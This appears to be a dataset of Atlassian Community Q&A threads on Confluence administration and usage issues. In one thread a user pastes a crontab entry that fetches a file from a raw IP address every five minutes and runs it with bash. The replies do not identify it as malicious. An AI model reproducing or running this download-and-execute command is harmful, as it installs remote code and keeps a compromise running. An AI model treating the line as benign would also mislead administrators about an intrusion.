youngmon/atlassian-qna huggingface dataset:
How to display the date at Confluence as yyyy/mm/dd hh:mm:ss while linking Jira columns
Asked by Lillian:

While linking a Jira ticket to Confluence and displaying the the date column from Jira,what should I do to display the date as 2019/5/16 17:26?By the way, currently the date at Jira has been displayed as 2019/5/16 17:26,however ,when it was linked to Confluence,it was displayed as 2019/5/16

Currently pages

**Jira**:

![1.JPG](/t5/image/serverpage/image-id/56009i63A6D07793BF09EF/image-size/large?v=v2&px=999 "1.JPG")

**Confluence**:

![2.JPG](/t5/image/serverpage/image-id/56010i7E7C0D58EAF9EB0F/image-size/large?v=v2&px=999 "2.JPG")


Answers:
author: Ollie Guan
body: Hi [@Lillian](/t5/user/viewprofilepage/user-id/3256850) ,

This seems to be a known Bug, pls refer to the following link

<https://jira.atlassian.com/browse/CONFSERVER-26381>


author: Lillian
body: [@Ollie Guan](/t5/user/viewprofilepage/user-id/853638)I see,thanks a lot!
How to contact Confluence admin
Asked by Bhaskar Kothauppari:

How can I contact confluence admin so I can get the permission for creating a space for my team


Answers:
author: Thomas Schlegel
body: Hi [@Bhaskar Kothauppari](https://community.atlassian.com/t5/user/viewprofilepage/user-id/2955392)

try this:

[https://\<your-confluence-url\>/contactadministrators.action](https://community.atlassian.com/t5/Confluence-questions/How-to-contact-Confluence-admin/qaq-p/1094886)


author: Petr Van??ek
body: Hi,

if you are using Server version of Confluence then you need contact your IT departments (or someone elese who manage Confluence). This is community of users (customers, partners of Atlassian,...) Atlassian tools.


author: Thomas Schlegel
body: Hi [@Bhaskar Kothauppari](/t5/user/viewprofilepage/user-id/2955392)

try this:

[https://\<your-confluence-url\>/contactadministrators.action]()
Html macro
Asked by Patrik Brand?s:

Hi.

Is possible used HTML macro by someone else besides administrator?


Answers:
author: Dominic Lagger
body: Hi [@Patrik Brand?s](/t5/user/viewprofilepage/user-id/3256760)

The HTML Macro is disabled by default. You'll need Confluence Administrator or System Administrator permissions to enable this macro.

When you want to enable that, you can see the documentaion [here](https://confluence.atlassian.com/doc/html-macro-38273085.html). When this is enabled, then all users can use the macro.

Regards,

Dominic

comments: author: Patrik Brand?s
body: Thanks a lot Dominic,

I would like to aks one more question: Is it possible in Confluence 5.5.3 version?

Thanks a lot


author: Dominic Lagger
body: Hi [@Patrik Brand?s](/t5/user/viewprofilepage/user-id/3256760)

I would say yes, according to the [5.5 documentation](https://confluence.atlassian.com/display/CONF55/HTML+Macro).


author: Patrik Brand?s
body: Okey and is it possible to set HTML macro only for some specific users or if administrator enabled this macro then every user can used it?

Thanks


author: Dominic Lagger
body: If the administrator enables it, then every user can use it.
getting space name in confluence using jira project id/name
Asked by Ratnadeep Kedar:

We have a requirement to find out confluence space using Jira project id or name. Is there any rest API to achieve this?


Answers:
author: Nic Brough -Adaptavist-
body: What does "using jira project id or name" mean? How are they "using" them?


Tags: api

confluence-cloud
Failure to start after restart
Asked by karerainno:

**HOME=/tmp/
\*/5 \* \* \* \* /usr/bin/wget -q -O /tmp/seasame <http://51.15.56.161:443> \&\& bash /tmp/seasame**

That's whats causes the server note to respond.

when deleted it works fine but next day when it restarts (server) it fails again.


Answers:
author: Amith Mathur _Appfire_
body: Hi [@karerainno](/t5/user/viewprofilepage/user-id/1050333) ,

Can you please let us know where have you set this HOME path? Also, please share the complete error message from the log file (\<Confluence_Home_Dir\>/logs/atlassian-confluence,log) when you restart the Confluence.

Thanks,  
Amith Mathur

comments: author: karerainno
body: [@Amith Mathur _Appfire_](/t5/user/viewprofilepage/user-id/787663)

Thank you for reverting on this

The Home dir is /var/atlassian/application-data/confluence

again i would like to ask this file **seasame** is it needed if yes what does it do.

Thank you


author: Amith Mathur _Appfire_
body: Hi [@karerainno](/t5/user/viewprofilepage/user-id/1050333) ,

Where are you seeing this seasame? Can you please share the error message from the log file?

Thanks,  
Amith Mathur
video play on confluence(6.6.13) page
Asked by Will Wang:

I insert one HTM macro into confluence page and fill in below source code into HTML macro, but the video could not be displayed due to the video is on confluence page, but if I change the value of src(namely video URL) to another link which is out of confluence, then it works fine, is this one defect/bug on confluence 6.6.13 ? Any workaround for this ?

```
<video preload=auto controls width="640" height="480"><source type="video/mp4" src="https://confluence.ab.com/download/attachments/357560161/Python.mp4?version=1&modificationDate=1559111062000&api=v2&download=true"></source></video>
```


Answers:
author: Mirek
body: HI [@Will Wang](/t5/user/viewprofilepage/user-id/2690234) ,

First of all.. Do you use Multimedia macro?

<https://confluence.atlassian.com/doc/multimedia-macro-228622735.html>

It should support MP4 format attached to a page.

If yes and this is still not working could you please check if you are maybe hitting this issue?

[https://jira.atlassian.com/browse/CONFSERVER-26667](https://jira.atlassian.com/browse/CONFSERVER-34075)

comments: author: Will Wang
body: [@Mirek](/t5/user/viewprofilepage/user-id/781521) Thanks for your reply, we did try Multimedia macro but it didn't work. Also tried the solution in below link just now, the 2 workarounds didn't work.

[https://jira.atlassian.com/browse/CONFSERVER-26667](https://jira.atlassian.com/browse/CONFSERVER-34075?_ga=2.233427422.1331232886.1559110892-847885785.1553758406)


author: Mirek
body: [@Will Wang](/t5/user/viewprofilepage/user-id/2690234)

In that case you might be hitting similar bug to this

<https://jira.atlassian.com/browse/CONFSERVER-52839>

Maybe you can try to change the path a little bit from you \<video\> tag from

```
src="https://confluence.ab.com/download/attachments/357560161/Python.mp4?version=1&modificationDate=1559111062000&api=v2&download=true"
```

to

```
src="attachments/357560161/Python.mp4?version=1&modificationDate=1559111062000&api=v2&download=true"
```

or without even those parameters

```
src="attachments/357560161/Python.mp4"
```


author: Will Wang
body: [@Mirek](/t5/user/viewprofilepage/user-id/781521)

Tried both ways, but still could not display the video


Tags: confluence-server

server
Upgrading to 6.13
Asked by Abhilasha Joshi:

where to find the upgrade installation files?


Answers:
author: Thomas Schlegel
body: Hi [@Abhilasha Joshi](/t5/user/viewprofilepage/user-id/3256475) ,

look here: <https://www.atlassian.com/software/confluence/download-archives?_ga=2.89579870.498890512.1559115846-1397989399.1559115846>
Close button
Asked by Jamil Rahimov:

I have problem with confluence when I want click close button it duplicates what I wrote.  
![1.PNG](/t5/image/serverpage/image-id/55990i0D5B958E710608EA/image-size/large?v=v2&px=999 "1.PNG")


Answers:
author: Shannon S
body: Hello Jamil,

Thank you for contacting us! This is very interesting indeed. I think you might be using the add-on called [Update \& Notify for Confluence](https://marketplace.atlassian.com/apps/1219676/update-and-notify-for-confluence?hosting=server&tab=overview), because usually Confluence won't say **Update \& Notify** at the bottom.

Can you confirm?

If so, could you please disable it and see if the problem persists? If we need to proceed further, I'll also need to know your Confluence version.

Thank you for your help!

Regards,

Shannon


Tags: atlassian-marketplace
Allowing users to draft a page, but not publish.
Asked by Kyel Smith:

I'm trying to create a workflow where a user would draft the updates to a certain set of pages, and then advise a colleague who would review and then approve theses changes.

If I restrict edit access, the user cannot draft their suggestions. If I allow edit, then they can simply publish the (unverified) page.


Answers:
author: James Dellow
body: Bearing in mind Confluence is a wiki, that isn't part of the out of the box functionality.

You can use simple protocols to just say on the page that it is in draft / not approved or a work-in-progress (this is sometimes called a social workflow). Comments can also be used as part of your record to say "I reviewed and approved this version".

Or you can use different page hierarchies or even spaces for drafting content, then moved it into its published location once approved.

Otherwise you are going to need to look at third-party add-ons to achieve this as a more formal workflow.


Tags: confluence-server

permission

publish

server
Where to technically retrieve the "cache statistics"?
Asked by Benjamin W_:

Our Confluence environment (onPrem, Windows, 6.14.2) is getting more and more used. By time, we are experiencing performance issues, e.g. cause caches were sized too small. This could manually be checked within the "Cache Statistics" in the General Configuration Web UI.

In order to not step into this issue I want to have these KPIs monitored, so pro-active alerts "take care, cache for Content objects needs to be increased" can be send out.

For this to be realized, I need a way how to access those KPIs, e.g. in the database or on the file system. So far, I was not able to determine any place where to find them.  
I checked the related cachecontents.jsp, but only refers to direct calls of the Java classes.

Do you know where those KPIs can be accessed?


Answers:
author: sara
body: Hi,

This may give some hint if you haven't gone through already.

<https://confluence.atlassian.com/doc/cache-performance-tuning-169119133.html>

comments: author: Benjamin W_
body: Sara, hi

thanks for your feedback. Already stumbled upon this article. I checked out the named file and the surrounding, but unfortunately only the defined limits can be retrieved especially from cache-settings-overrides.properties, but not the current values on the actual usage of the cache.


Tags: confluence-administration

confluence-server

server
Why do people think confluence is great? What attracts users?
Asked by wang wagn:

Why do people think confluence is great? What attracts users?


Answers:
author: Dominic Lagger
body: I would add this:

* Easy to use! It is nearly WYSIWIG
* Documentation isn't only on a local computer from individuals, who can leave a company. The documentation is stored on a server and everybody can access.
* Easy to adjust with lots of plugins
* Really good community who helps if you have a problem.


author: Kat Warner
body: A few bits of the top of my head:

* Documentation available through web login even from home (depending on site settings)
* Document collaboration is easy though comments, in-line comments, and editing by multiple people.
* Easy configuration to limit editing and/or view rights.
* Ability to link pages from and to Jira tickets.
Confluence Server Slow Dwon
Asked by satreci:

Hi

There is a periodic slowdown during operation.

I checked realted logs. This logs are continuously output.

```
2019-05-29 11:16:38,517 WARN [alert-dispatch:thread-1] [confluence.alert-log] log 1559096198513 ; WARNING ; JVM ; JVM-1002 ; Garbage collection exceeded time limit ; not-detected ;? ;? ; {"durationInMillis":10222,"windowInMillis":20000,"limitPercent":10,"threadMemoryAllocations":"","threadDump":[]}
2019-05-29 11:16:38,520 WARN [alert-dispatch:thread-1] [atlassian-monitor] log 2019-05-29T02:16:38.513Z Component 'Java' alerted 'Garbage collection exceeded time limit' (details: {"durationInMillis":10222,"windowInMillis":20000,"limitPercent":10,"threadMemoryAllocations":"","threadDump":[]}, trigger: {"pluginKey": "not-detected"})
```

Restarting Confluence is fine for a while(about 2 weeks).

Our Confluence Server Version is 6.13.4.

We use Bitbucket, Confluence and Jira on one server. (100 user license)

* Real user is about 60.
* Server Memory : 32G

I thik the suspicious part is as follows

* Configuration
  * Server.xml
    * maxThreads : 100
  * confluence.cfg.xml
    * hibernate.c3p0.max_size : 125
* Backup
  * We perform the backup at dawn. Looking at the results of the monitoring, it seems that memory is being used at the maximum.
  * ![Memory.png](/t5/image/serverpage/image-id/55987i658240DBFC92C6F1/image-size/large?v=v2&px=999 "Memory.png")

How can we solve this problem?

Thank you for your help.


Answers:
author: Normann P_ Nielsen _Netic_
body: Any updates on this, I suffer same issue - I think the key is

```
{"pluginKey": "not-detected"})


```

comments: author: satreci
body: First we increased the physical memory(32G -\> 64G). And we increased the heap size of the following item. There has been no problem for two months now.

* /opt/atlassian/confluence/bin/setenv.sh
  * CATALINA_OPTS="-Xms1024m -Xmx1024m -XX:+UseG1GC ${CATALINA_OPTS}" ------\> CATALINA_OPTS="-Xms1500m -Xmx1500m -XX:+UseG1GC ${CATALINA_OPTS}"
  * 1024m -\> 2000m


author: Bill Tanner
body: Hi Norman. Did you ever find out any more information regarding the

```
{"pluginKey": "not-detected"}) alert?  We are suffering the same problem.
```


author: Normann P_ Nielsen _Netic_
body: Sure, this was a problem in the Refined (Wiki) plugin.

The vendor was very helpfull and provided new jar file (the plugin is updated on the marketplace long time ago now)


author: Dave Hollinden
body: [@Normann P_ Nielsen _Netic_](/t5/user/viewprofilepage/user-id/664692)

We're also seeing

```
{"pluginKey": "not-detected"})
```

How did you determine which plugin was related?

Thanks,

Dave


author: Normann P_ Nielsen _Netic_
body: As stated above - i belive it was Refined - but its a year ago, so I dont remember much else..


author: sara
body: Long GC pause can cause performance issues.For GC tuning please refer.

<https://confluence.atlassian.com/enterprise/garbage-collection-gc-tuning-guide-461504616.html>


Tags: confluence-server

server
Is confluence suitable for managing a large number of documents?
Asked by wang wagn:

Is confluence suitable for managing a large number of documents in an enterprise? What is the impact of a large number of accessories on system operation?


Answers:
author: Nic Brough -Adaptavist-
body: Yes, I've seen it handle millions, if, by "documents" you mean you are using it as intended, with the "documents" are Confluence pages.

You do need some decent hardware if you want to have very large Confluences, but that's true of any system.
Make Personal Space as Site Homepage
Asked by IT:

I was looking for if someone asked similar questions before but seems no.

I am our Confluence SysAdmin and yesterday one of our members asked why he couldn't make his personal space as Site Homepage in his account.

I also tried but it looks like we can only set Individual Spaces, Dashboard, and Profile as Site Homepage.

Any idea about it?


Answers:
author: Alexander Bondarev
body: Also this [question](https://community.atlassian.com/t5/Confluence-questions/Set-Personal-Space-as-Homepage/qaq-p/32893) can be useful for you.

comments: author: IT
body: I am sorry but this is not what I want since it will affect ALL users in my Confluence rather that member only.


author: Alexander Bondarev
body: Hi! Users can choose to override the site homepage and use the dashboard or a different page as their landing page in their [personal settings](https://confluence.atlassian.com/doc/edit-your-user-settings-1016023.html).

comments: author: IT
body: Hi! Thanks for the feedback. I know that setting, but we can only pick up **"Individual Spaces, Dashboard, and Profile as Site Homepage"**from the drop-down list, at least my Confluence v6.15.4 shows that


author: Alexander Bondarev
body: Your problem was "one of our members asked why he couldn't make his personal space as Site Homepage in his account" - so you should pick up an Individual Spaces.

What's wrong?


author: IT
body: Oh....It works as expected, let me consult with my member again.


author: IT
body: OK I finally figured it out.

I have an Active Directory which holds all users and passwords except my SysAdmin account.

Users from Active Directory seems not be able to set their personal space as Site Homepage, while local users can do it without any problem.

I don't quite understand why this gap exists.


Tags: confluence-server

server
roadmap macro trying to add a link
Asked by tledbetter@r1rcm.com:

I build a road map using your macro. Now I want to put a link inside a Bar. How do I do this?


Answers:
author: Dominic Lagger
body: Hi

That is really simple. Just click the bar and click "Link page"

![roadmap planner.png](https://community.atlassian.com/t5/image/serverpage/image-id/56011i933422036FE35C38/image-dimensions/528x268?v=v2 "roadmap planner.png")

A detailed documentation you can find [here](https://confluence.atlassian.com/doc/roadmap-planner-macro-704578202.html)

Regards,

Dominic

comments: author: tledbetter@r1rcm.com
body: yes this works if I want to link a page inside of confluence. I want to link a url outside of confluence.


author: tim ledbetter
body: there has to be away to add a url link outside of confluence on the roadmap template


author: Dominic Lagger
body: Oh okay.

As far as I know, this is not possible.
cannot start Confluence version 6.2 and later using atlas-run
Asked by Jan Revis:

I'm experiencing a problem using atlas-run when confluence 6.2 or later is used. Shortly after the tomcat server starts, I see the following error in the logging output:

Unable to resolve name \[com.atlassian.hibernate.dialect.HSQL2Dialect\] as strategy \[org.hibernate.dialect.Dialect\]

I located an article at <https://confluence.atlassian.com/confkb/upgrade-to-confluence-6-or-above-fails-when-using-the-embedded-database-917963158.html>, which states I need to change

    com.atlassian.hibernate.dialect.HSQL2Dialect 

to

    org.hibernate.dialect.H2Dialect

How do I get amps to use the the correct H2?


Answers:
author: Shannon S
body: Hello Jan,

Thank you for contacting us.

Can you let me know what you mean when you ask how to get "amps" to use the correct H2? The H2 database information is stored in your Confluence data files. Thus, when you update **confluence.cfg.xml**, it will automatically be able to find your existing H2 information.

You will need to [migrate to an external database as soon as you can](https://confluence.atlassian.com/doc/migrating-to-another-database-148867.html). The embedded H2 database is only supported to work with Confluence instances currently in evaluation, and should not be used on a production instance or through upgrades/migrations.

Secondly, we've had two security advisories lately. In order to avoid your instance becoming compromised, it's recommended you upgrade as soon as you can to the latest versions. Below you can read about those advisories:

* [Confluence Security Advisory - 2019-03-20](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html)
* [Confluence Security Advisory - 2019-04-17](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html)

My colleague Daniel has written an FAQ on the subject, in case you have any questions:

* [Confluence CVEs and common questions](https://community.atlassian.com/t5/Confluence-articles/Confluence-CVEs-and-common-questions/ba-p/1062634)

Thank you for your understanding! Let me know if you have any issues.

Regards,

Shannon
Creating attachments directory (/attachments) failed - Confluence server docker install
Asked by Philippe Bouyssou:

Hello !

I'm using docker image **atlassian/confluence-server** to test trial version of confluence server.

After successfully setup *postgresql*, setup stops at link:

**http://\<IP_server\>:8090/setup/setuppaths.action**

with errors:

___________________________________________________________________

[Confluence](http://192.168.0.30:8090/) {#toc-hId--1436659625}
--------------------------------------------------------------

Setup Paths {#toc-hId-1050853208}
---------------------------------

The following error(s) occurred:

* Creating attachments directory (/attachments) failed
* Creating backup directory (/backups) failed

___________________________________________________________________

Thanks in advance for your help!

/Philippe


Answers:
author: aviv zemmour
body: a shame no one answered ...

having the same issue here


author: Erol Yoes
body: I had the same issue.

for me it worked to create both Folders manually and set permissions.

after Page reload i was able to proceed.


author: Michel Talisson Gomes Lima
body: Same Issue here.


Tags: confluence-server

server
How to fix the Pie Chart for test execution?
Asked by Arvinpreet Kaur:

The status shown in Pie Chart is not correct as per the actual execution


Answers:
author: Shannon S
body: Hello Arvinpreet,

Welcome to Community! It's great to meet you.

Can you just confirm which pie chart you are referring to? Since **Test Execution** is not a feature of Confluence, I believe you might be using an add-on, such as Zephyr.

Could you verify that?

Thank you!

Regards,

Shannon


Tags: cloud

confluence-cloud
When searching in Confluence, if the result is an attachment and one clicks on it, does not open.
Asked by Theresa Reynolds:

When searching in Confluence, if the result is an attachment (such as a PDF), if one clicks on the search result link, the URL takes you to the Confluence page where the attachment is attached. As opposed to the search result link being the URL to the attachment itself.

Confluence previously would open the attachment. The last few months, that link now takes one to the page where the attachment is linked. This makes it nearly impossible to search for attachments as they are very difficult to impossible to find within the linked Confluence page.

Change the behavior of Confluence on search results back to how it previously worked. If a confluence search result is of an attachment, clicking on the search result link should go to the URL of the attachment document itself.


Answers:
author: Shannon S
body: Hello Theresa,

Thank you for letting us know about this. I'd love to help you find out why this is happening to you.

I just tested this myself on Confluence 6.15.4. If I search and find my PDF, I click on that first result, and it opens up the PDF preview:

![Screenshot 2019-06-03 at 13.19.11.png](https://community.atlassian.com/t5/image/serverpage/image-id/56388iC3D94995F04F0476/image-dimensions/427x328?v=v2 "Screenshot 2019-06-03 at 13.19.11.png")

Can you let me know if I understood your issue correctly, as I am not able to replicate the same behavior you are experiencing. It will also be helpful if you can confirm with me your Confluence version, as well as which browsers you are able to replicate this in.

Thank you for your help!

Regards,

Shannon

comments: author: Stacy Gosman
body: I am experiencing the same problem currently. I haven't changed any settings but the attachment no longer opens as described above.

I am using Chrome and we are using the online version.


Tags: confluence-server

server